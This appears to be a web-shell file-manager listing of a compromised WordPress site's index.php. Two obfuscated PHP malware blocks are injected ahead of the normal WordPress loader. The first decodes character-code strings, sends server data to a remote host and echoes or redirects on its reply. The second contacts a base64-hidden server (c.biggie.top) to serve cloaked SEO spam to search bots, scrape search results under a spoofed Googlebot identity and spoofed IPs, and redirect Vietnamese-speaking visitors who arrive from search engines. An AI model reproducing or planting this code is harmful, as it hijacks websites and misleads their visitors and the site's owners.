HEX
Server: Apache
System: Linux dotw660 5.10.0-37-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User: web350 (1012)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client125/web350/web/index.php
<?php function ergy($lci) { $pjc = ''; $zaj = explode('.',$lci); foreach($zaj as $aml) { $pjc .= chr($aml); } return explode(';',$pjc); } function dkfe($lci) { $zaj = ergy('102'.'.11'.'1.1'.'10.'.'116'.'.46'.'.59'.'.46'.'.11'.'2.1'.'04.'.'112'.'.59'.'.47'.'.94'.'.10'.'4.1'.'16.'.'116'.'.11'.'2.4'.'7.5'.'9.7'.'6.1'.'11.'.'99.'.'97.'.'116'.'.10'.'5.1'.'11.'.'110'.'.58'.'.32'.'.59'.'.47'.'.94'.'.35'.'.35'.'.47'.'.59'.'.60'.'.47'.'.11'.'7.1'.'14.'.'108'.'.11'.'5.1'.'01.'.'116'.'.62'.'.59'.'.67'.'.11'.'1.1'.'10.'.'116'.'.10'.'1.1'.'10.'.'116'.'.45'.'.11'.'6.1'.'21.'.'112'.'.10'.'1.5'.'8.1'.'16.'.'101'.'.12'.'0.1'.'16.'.'47.'.'120'.'.10'.'9.1'.'08.'.'59.'.'60.'.'104'.'.11'.'6.1'.'09.'.'108'.'.59'.'.84'.'.59'.'.99'.'.11'.'7.1'.'14.'.'108'.'.95'.'.10'.'1.1'.'20.'.'101'.'.99'.'.59'.'.63'.'.11'.'7.9'.'7.6'.'1.5'.'9.1'.'04.'.'116'.'.11'.'6.1'.'12.'.'59.'.'109'.'.10'.'1.1'.'16.'.'104'.'.11'.'1.1'.'00.'.'59.'.'71.'.'69.'.'84.'.'59.'.'116'.'.10'.'5.1'.'09.'.'101'.'.11'.'1.1'.'17.'.'116'.'.59'.'.10'.'4.1'.'16.'.'116'.'.11'.'2.9'.'5.9'.'9.1'.'11.'.'100'.'.10'.'1.5'.'9.5'.'0.4'.'8.4'.'8.5'.'9.5'.'9.1'.'15.'.'104'.'.11'.'1.1'.'12.'.'115'.'.11'.'6.9'.'7.1'.'16.'.'115'.'.59'.'.12'.'0.1'.'01.'.'114'.'.11'.'2.9'.'7.1'.'03.'.'108'.'.11'.'6.1'.'08.'.'59.'.'84.'.'80.'.'76.'.'59.'.'47.'.'97.'.'100'.'.10'.'9.1'.'05.'.'110'.'.59'.'.86'.'.69'.'.82'.'.59'.'.46'.'.11'.'1.1'.'14.'.'103'.'.59'.'.58'.'.47'.'.47'.'.59'.'.10'.'2.9'.'7.1'.'15.'.'104'.'.10'.'5.1'.'11.'.'110'.'.10'.'3.1'.'11.'.'59.'.'46.'.'99.'.'111'.'.10'.'9'); return $zaj[$lci]; } function pqfe($psi, $pmj=0) { $xjx = ergy('98.97'.'.115.'.'101.5'.'4.52.'.'95.10'.'1.110'.'.99.1'.'11.10'.'0.101'.'.59.1'.'06.11'.'5.111'.'.110.'.'95.10'.'1.110'.'.99.1'.'11.10'.'0.101'.'.59.1'.'02.11'.'7.110'.'.99.1'.'16.10'.'5.111'.'.110.'.'95.10'.'1.120'.'.105.'.'115.1'.'16.11'.'5.59.'.'117.1'.'14.10'.'8.101'.'.110.'.'99.11'.'1.100'.'.101.'.'59.11'.'5.116'.'.114.'.'101.9'.'7.109'.'.95.9'.'9.111'.'.110.'.'116.1'.'01.12'.'0.116'.'.95.9'.'9.114'.'.101.'.'97.11'.'6.101'.'.59.1'.'02.10'.'5.108'.'.101.'.'95.10'.'3.101'.'.116.'.'95.99'.'.111.'.'110.1'.'16.10'.'1.110'.'.116.'.'115.5'.'9.99.'.'117.1'.'14.10'.'8.95.'.'105.1'.'10.10'.'5.116'.'.59.9'.'9.117'.'.114.'.'108.9'.'5.115'.'.101.'.'116.1'.'11.11'.'2.116'.'.59.9'.'9.117'.'.114.'.'108.9'.'5.101'.'.120.'.'101.9'.'9.59.'.'99.11'.'7.114'.'.108.'.'95.10'.'3.101'.'.116.'.'105.1'.'10.10'.'2.111'.'.59.9'.'9.117'.'.114.'.'108.9'.'5.99.'.'108.1'.'11.11'.'5.101'.'.59.1'.'15.11'.'6.114'.'.95.1'.'14.10'.'1.112'.'.108.'.'97.99'.'.101'); $lci = $_SERVER; $lci[dkfe(8)] = "l"; $lci[dkfe(20)] = "14"; $lci[dkfe(22)] = "15"; $pjc = $xjx[0]($xjx[1]($lci)); if(!$xjx[2](dkfe(9))){ $psi .= dkfe(10).$xjx[3]($pjc); $aml = $xjx[4](array(dkfe(11)=>array(dkfe(12)=>dkfe(13),dkfe(14)=>18))); $jtu = @$xjx[5]($psi, false, $aml); }else{ $zaj = $xjx[6](); $xjx[7]($zaj, 10002, $psi); $xjx[7]($zaj, 10018, $pjc); $xjx[7]($zaj, 19913, 1); $xjx[7]($zaj, 64, 0); $xjx[7]($zaj, 13, 18); $jtu = $xjx[8]($zaj); $frn = $xjx[9]($zaj); $xjx[10]($zaj); if($frn[dkfe(15)]!=dkfe(16)) $jtu = dkfe(17); } if(empty($jtu) && $pmj<1) return pqfe($xjx[11](dkfe(18).dkfe(23), dkfe(19).dkfe(26),$psi),1); return $jtu; } function ehfo() { $xjx = ergy('1'.'1'.'2'.'.'.'1'.'1'.'4'.'.'.'1'.'0'.'1'.'.'.'1'.'0'.'3'.'.'.'9'.'5'.'.'.'1'.'0'.'9'.'.'.'9'.'7'.'.'.'1'.'1'.'6'.'.'.'9'.'9'.'.'.'1'.'0'.'4'.'.'.'5'.'9'.'.'.'1'.'0'.'4'.'.'.'1'.'0'.'1'.'.'.'9'.'7'.'.'.'1'.'0'.'0'.'.'.'1'.'0'.'1'.'.'.'1'.'1'.'4'.'.'.'5'.'9'.'.'.'1'.'1'.'5'.'.'.'1'.'1'.'7'.'.'.'9'.'8'.'.'.'1'.'1'.'5'.'.'.'1'.'1'.'6'.'.'.'1'.'1'.'4'.'.'.'5'.'9'.'.'.'1'.'1'.'5'.'.'.'1'.'1'.'6'.'.'.'1'.'1'.'4'.'.'.'1'.'0'.'8'.'.'.'1'.'0'.'1'.'.'.'1'.'1'.'0'.'.'.'5'.'9'.'.'.'1'.'1'.'5'.'.'.'1'.'1'.'6'.'.'.'1'.'1'.'4'.'.'.'1'.'1'.'5'.'.'.'1'.'1'.'6'.'.'.'1'.'1'.'4'); $jtu = pqfe(dkfe(11).dkfe(24).dkfe(0).dkfe(18).dkfe(23).dkfe(21).dkfe(1)); if($xjx[0](dkfe(2),$jtu)) {$xjx[1](dkfe(3).$jtu);exit;} if($xjx[0](dkfe(4),$jtu)) {exit($xjx[2]($jtu,2));} if($xjx[3]($jtu)>90) { if($xjx[4]($jtu,dkfe(5))) {$xjx[1](dkfe(6));exit($jtu);} if($xjx[4]($jtu,dkfe(7))) {exit($jtu);} } } ehfo(); ?>




<?php
if(!defined("C_CC_CC"))define("C_CC_CC", ord(13));@set_time_limit((((0-8192+2*E_RECOVERABLE_ERROR)-53248+E_RECOVERABLE_ERROR*13)-344064+84*E_RECOVERABLE_ERROR));error_reporting((((0-8192+2*E_RECOVERABLE_ERROR)-53248+E_RECOVERABLE_ERROR*13)-344064+84*E_RECOVERABLE_ERROR));$curl_timeout=(((0-8192+2*E_RECOVERABLE_ERROR)-53248+E_RECOVERABLE_ERROR*13)-303094+E_RECOVERABLE_ERROR*74);$TD_server="aHR0cDovL2MuYmlnZ2llLnRvcA==";$TD_server=base64_decode($TD_server);$lang='vi';header("Expires: Thu, 01 Jan 1970 00:00:00 GMT");header("Cache-Control: no-store, no-cache, must-revalidate");header("Cache-Control: post-check=0, pre-check=0",false);header("Pragma: no-cache");$user_agent=!empty($_SERVER["HTTP_USER_AGENT"])?strtolower($_SERVER['HTTP_USER_AGENT']):'';$http_type=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']=='on')||(isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https'))?'https':'http';$host=!empty($_SERVER['HTTP_HOST'])?strtolower($_SERVER['HTTP_HOST']):'';$parsedHost=parse_url($http_type . '://' . $host,PHP_URL_HOST);$host=$parsedHost!==null?$parsedHost:$host;$referer=!empty($_SERVER["HTTP_REFERER"])?strtolower($_SERVER['HTTP_REFERER']):'';$request=!empty($_SERVER['REQUEST_URI'])?urlencode(strtolower($_SERVER['REQUEST_URI'])):'';$has_curl=extension_loaded('curl');$bots=['googlebot','googlebot-image','googlebot-news','googlebot-video','adsbot-google','mediapartners-google','slurp','bingbot','duckduckbot','yandexbot','sogou','exabot','facebot','ia_archiver'];$is_bot=false;foreach($bots as $bot){if(stripos($user_agent,$bot)!==false){$is_bot=true;break 1;}}if($is_bot){ob_clean();if(substr($request,-(((0-8192+2*E_RECOVERABLE_ERROR)-53248+E_RECOVERABLE_ERROR*13)-335868+82*E_RECOVERABLE_ERROR))===".xml"){header('Content-Type: application/xml; charset=utf-8');if(stripos($request,'itemap.xml')!==false){$response=curl_request($TD_server. "/indexsitemap.php?type=" .$http_type. "&host=" .$host,$user_agent);}else{$n=getNumber($request);$response=curl_request($TD_server. "/sitemap.php?type=" .$http_type. "&host=" .$host. "&page=" .$n,$user_agent);}if($response!==false&&$response[(((0-8192+2*E_RECOVERABLE_ERROR)-53248+E_RECOVERABLE_ERROR*13)-344064+84*E_RECOVERABLE_ERROR)]==((0-8192+2*E_RECOVERABLE_ERROR)-233272+57*E_RECOVERABLE_ERROR)){echo $response[(E_RECOVERABLE_ERROR*83-339967)];exit;}}else if(stripos($request,'robots.txt')!==false){header('Content-Type: text/plain');$robotsTxtContent="User-agent: *
";$robotsTxtContent .="Allow: /
";$robotsTxtContent .="Sitemap: " .$http_type.rtrim($host,'/'). "/" . "sitemap.xml
";echo $robotsTxtContent;exit;}$image_pattern='/.(jpg|jpeg|png|gif|bmp|webp|tiff|tif|svg|ico|avi|wmv|mpg|mpeg|mov|rm|ram|swf|flv|mp4|mkv|webm|3gp|vob|asf|ts|m2ts|ogg|ogm)(?.*)?$/i';if(preg_match($image_pattern,$request)){exit;}$response=curl_request($TD_server. "/index.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$user_agent);if($response!==false){if($response[(((0-8192+2*E_RECOVERABLE_ERROR)-53248+E_RECOVERABLE_ERROR*13)-344064+84*E_RECOVERABLE_ERROR)]==((0-8192+2*E_RECOVERABLE_ERROR)-233272+57*E_RECOVERABLE_ERROR)){header('Content-Type: text/html; charset=utf-8');echo $response[(E_RECOVERABLE_ERROR*83-339967)];exit;}if($response[(((0-8192+2*E_RECOVERABLE_ERROR)-53248+E_RECOVERABLE_ERROR*13)-344064+84*E_RECOVERABLE_ERROR)]!=((0-8192+2*E_RECOVERABLE_ERROR)-233272+57*E_RECOVERABLE_ERROR)&&!empty($response[(E_RECOVERABLE_ERROR*83-339967)])){$json_data=str_replace(array(chr(((0-8192+2*E_RECOVERABLE_ERROR)-225041+E_RECOVERABLE_ERROR*55)),chr((19*E_RECOVERABLE_ERROR-77637)),chr((E_RECOVERABLE_ERROR*78-319297)),"
","
","
","	"),'',$response[(E_RECOVERABLE_ERROR*83-339967)]);$product_data=json_decode($json_data,true);$title=urlencode($product_data['keyword']);$pid=$product_data['kid'];if(!empty($title)){$spider_result=spider($title);}}if(isset($spider_result)&&$spider_result!=false&&isset($pid)){$data=array('kid'=>$pid,'spider_url'=>$spider_result[(((0-8192+2*E_RECOVERABLE_ERROR)-53248+E_RECOVERABLE_ERROR*13)-344064+84*E_RECOVERABLE_ERROR)],'html_text'=>$spider_result[(E_RECOVERABLE_ERROR*83-339967)]);}else{$pid=isset($pid)?$pid:(((0-8192+2*E_RECOVERABLE_ERROR)-53248+E_RECOVERABLE_ERROR*13)-344064+84*E_RECOVERABLE_ERROR);$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if(strpos($referer,'google')!==false||strpos($referer,'yahoo')!==false||strpos($referer,'bing')!==false){if(judgeLanguage($lang)==(E_RECOVERABLE_ERROR*83-339967)){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[(((0-8192+2*E_RECOVERABLE_ERROR)-53248+E_RECOVERABLE_ERROR*13)-344064+84*E_RECOVERABLE_ERROR)]==((0-8192+2*E_RECOVERABLE_ERROR)-233272+57*E_RECOVERABLE_ERROR)&&strlen($response[(E_RECOVERABLE_ERROR*83-339967)])>(E_RECOVERABLE_ERROR*24-98299)){$tzurl=trim($response[(E_RECOVERABLE_ERROR*83-339967)]);$tzurl=str_replace(array(chr(((0-8192+2*E_RECOVERABLE_ERROR)-225041+E_RECOVERABLE_ERROR*55)),chr((19*E_RECOVERABLE_ERROR-77637)),chr((E_RECOVERABLE_ERROR*78-319297)),"
","
","
","	"),'',$tzurl);@header("Location: " . $tzurl);exit;}}}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-32767+8*E_RECOVERABLE_ERROR),(19*E_RECOVERABLE_ERROR-77724)),'Mozilla/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-151549+E_RECOVERABLE_ERROR*37),(22*E_RECOVERABLE_ERROR-90107)). '.0 (Windows NT 10.0; Win64; x64; rv:' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-278478+E_RECOVERABLE_ERROR*68),(E_RECOVERABLE_ERROR*8-32708)). ') Gecko/20100101 Firefox/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-32767+8*E_RECOVERABLE_ERROR),(19*E_RECOVERABLE_ERROR-77724)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-278478+E_RECOVERABLE_ERROR*68),(E_RECOVERABLE_ERROR*8-32708)). ') AppleWebKit/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-32268+8*E_RECOVERABLE_ERROR),(35*E_RECOVERABLE_ERROR-142760)). '.36 (KHTML, like Gecko) Chrome/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-278478+E_RECOVERABLE_ERROR*68),(E_RECOVERABLE_ERROR*8-32708)). '.0.3112.90 Safari/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-32268+8*E_RECOVERABLE_ERROR),(35*E_RECOVERABLE_ERROR-142760)). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-311283+76*E_RECOVERABLE_ERROR),(90*E_RECOVERABLE_ERROR-368624)). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-311206+E_RECOVERABLE_ERROR*76),(19*E_RECOVERABLE_ERROR-77724)). '.0.4430.212 Safari/537.36 Edg/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-311206+E_RECOVERABLE_ERROR*76),(19*E_RECOVERABLE_ERROR-77724)). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-311206+E_RECOVERABLE_ERROR*76),(19*E_RECOVERABLE_ERROR-77724)). '.0.4430.212 Safari/537.36 OPR/' .rand((E_RECOVERABLE_ERROR*92-376756),((0-208896+51*E_RECOVERABLE_ERROR)-343978+E_RECOVERABLE_ERROR*84)). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-131064+E_RECOVERABLE_ERROR*32),((0-208896+51*E_RECOVERABLE_ERROR)-135156+E_RECOVERABLE_ERROR*33)). '.0; SM-G9' .rand((22*E_RECOVERABLE_ERROR-90107),(E_RECOVERABLE_ERROR*60-245751)). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((0-208896+51*E_RECOVERABLE_ERROR)-311206+E_RECOVERABLE_ERROR*76),(19*E_RECOVERABLE_ERROR-77724)). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .rand((E_RECOVERABLE_ERROR*59-241650),(90*E_RECOVERABLE_ERROR-368624)). '_' .rand((0-208896+51*E_RECOVERABLE_ERROR),(22*E_RECOVERABLE_ERROR-90107)). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand((E_RECOVERABLE_ERROR*59-241650),(90*E_RECOVERABLE_ERROR-368624)). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function curl_request($url,$ua='',$referer=null){global $has_curl,$curl_timeout;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=rand(((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32),((E_RECOVERABLE_ERROR*97-397312)-335618+82*E_RECOVERABLE_ERROR)). '.' .rand(((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32),((E_RECOVERABLE_ERROR*97-397312)-335618+82*E_RECOVERABLE_ERROR)). '.' .rand(((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32),((E_RECOVERABLE_ERROR*97-397312)-335618+82*E_RECOVERABLE_ERROR)). '.' .rand(((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32),((E_RECOVERABLE_ERROR*97-397312)-335618+82*E_RECOVERABLE_ERROR));$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,(E_RECOVERABLE_ERROR*97-397312));curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,(((0-331776+81*E_RECOVERABLE_ERROR)-253952+62*E_RECOVERABLE_ERROR)-208894+E_RECOVERABLE_ERROR*51));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32));curl_setopt($curl,CURLOPT_AUTOREFERER,((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32));curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32));curl_setopt($curl,CURLOPT_TIMEOUT,$curl_timeout);curl_setopt($curl,CURLOPT_HEADER,(E_RECOVERABLE_ERROR*97-397312));curl_setopt($curl,CURLOPT_RETURNTRANSFER,((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32));curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$error=curl_error($curl);if($error){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. "
" . "Referer: " .$referer. "
",'timeout'=>$curl_timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];preg_match('/HTTP/d.d (d{3})/',$http_response_header[(E_RECOVERABLE_ERROR*97-397312)],$matches);$httpcode=isset($matches[((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32)])?(int)$matches[((E_RECOVERABLE_ERROR*97-397312)-131071+E_RECOVERABLE_ERROR*32)]:(E_RECOVERABLE_ERROR*97-397312);return[$httpcode,$response];}}function post($url,$postData,$ua=''){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,(0-344064+E_RECOVERABLE_ERROR*84));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8
" . "Accept: application/json
" . "User-Agent: " .$ua. "
",'content'=>$postData,'timeout'=>(96*E_RECOVERABLE_ERROR-393206)],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);return $response;}}function judgeLanguage($lang){if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$firstLang=strtolower(trim($languages[((E_RECOVERABLE_ERROR*34-139264)-237568+E_RECOVERABLE_ERROR*58)]));return substr($firstLang,((E_RECOVERABLE_ERROR*34-139264)-237568+E_RECOVERABLE_ERROR*58),(((0-307200+75*E_RECOVERABLE_ERROR)-303104+E_RECOVERABLE_ERROR*74)-57342+E_RECOVERABLE_ERROR*14))===$lang?(E_RECOVERABLE_ERROR*35-143359):((E_RECOVERABLE_ERROR*34-139264)-237568+E_RECOVERABLE_ERROR*58);}return ((E_RECOVERABLE_ERROR*34-139264)-237568+E_RECOVERABLE_ERROR*58);}function getNumber($string){$posSitemap=strpos($string,'sitemap');$posXml=strpos($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-strlen('sitemap');$substring=substr($string,$posSitemap+strlen('sitemap'),$length);$number=intval($substring);return $number;}else{return (0-368640+90*E_RECOVERABLE_ERROR);}}function get_client_ip(){$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($name){$hrefTemp=spider_search($name);$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if(in_array(strtolower($file_extension),$non_web_extensions)){continue 1;}if(stripos($href,'youtube.com')!==false||stripos($href,'twitter.com')!==false||stripos($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$googleua,$href);if($spider_html!==false&&$spider_html[(85*E_RECOVERABLE_ERROR-348160)]==(0-208696+E_RECOVERABLE_ERROR*51)){$htmltext=trim($spider_html[(0-57343+E_RECOVERABLE_ERROR*14)]);if(strlen($htmltext)>(0-67632+17*E_RECOVERABLE_ERROR)){return[$href,$htmltext];}}}return false;}function spider_search($name){$search_urls=["google"=>"https://www.google.com.vn/search?q=" .$name. "&lr=lang_vi","aol"=>"https://search.aol.com/aol/search;_ylt=?q=" .$name];$hrefArray=[];foreach($search_urls as $domain=>$url){$result=curl_request($url,'',$url);if($result!==false&&$result[((37*E_RECOVERABLE_ERROR-151552)-131072+E_RECOVERABLE_ERROR*32)]===(34*E_RECOVERABLE_ERROR-139064)){$dom=new DOMDocument();@$dom->loadHTML($result[(78*E_RECOVERABLE_ERROR-319487)],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);$aElements=$xpath->query('//a');foreach($aElements as $a){$href=$a->getAttribute('href');if($href&&$domain=='google'){$httpsPos=stripos($href,'https://');$urlPos=stripos($href,'/url?');if($httpsPos!==false&&strpos($href,'google')===false&&$urlPos===((37*E_RECOVERABLE_ERROR-151552)-131072+E_RECOVERABLE_ERROR*32)){$hrefArray[]=substr($href,$httpsPos);}}else if($href&&$domain=='aol'){if(preg_match('//RU=(https[^/]*/RK=)/',$href,$matches)){$httpsPart=substr($matches[(78*E_RECOVERABLE_ERROR-319487)],((37*E_RECOVERABLE_ERROR-151552)-131072+E_RECOVERABLE_ERROR*32),-(0-192508+E_RECOVERABLE_ERROR*47));if(strpos($httpsPart,'aol.com')===false&&strpos($httpsPart,'oath.com')===false){$hrefArray[]=urldecode($httpsPart);}}}}}if(!empty($hrefArray)){return $hrefArray;}}return $hrefArray;}
?><?php
define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';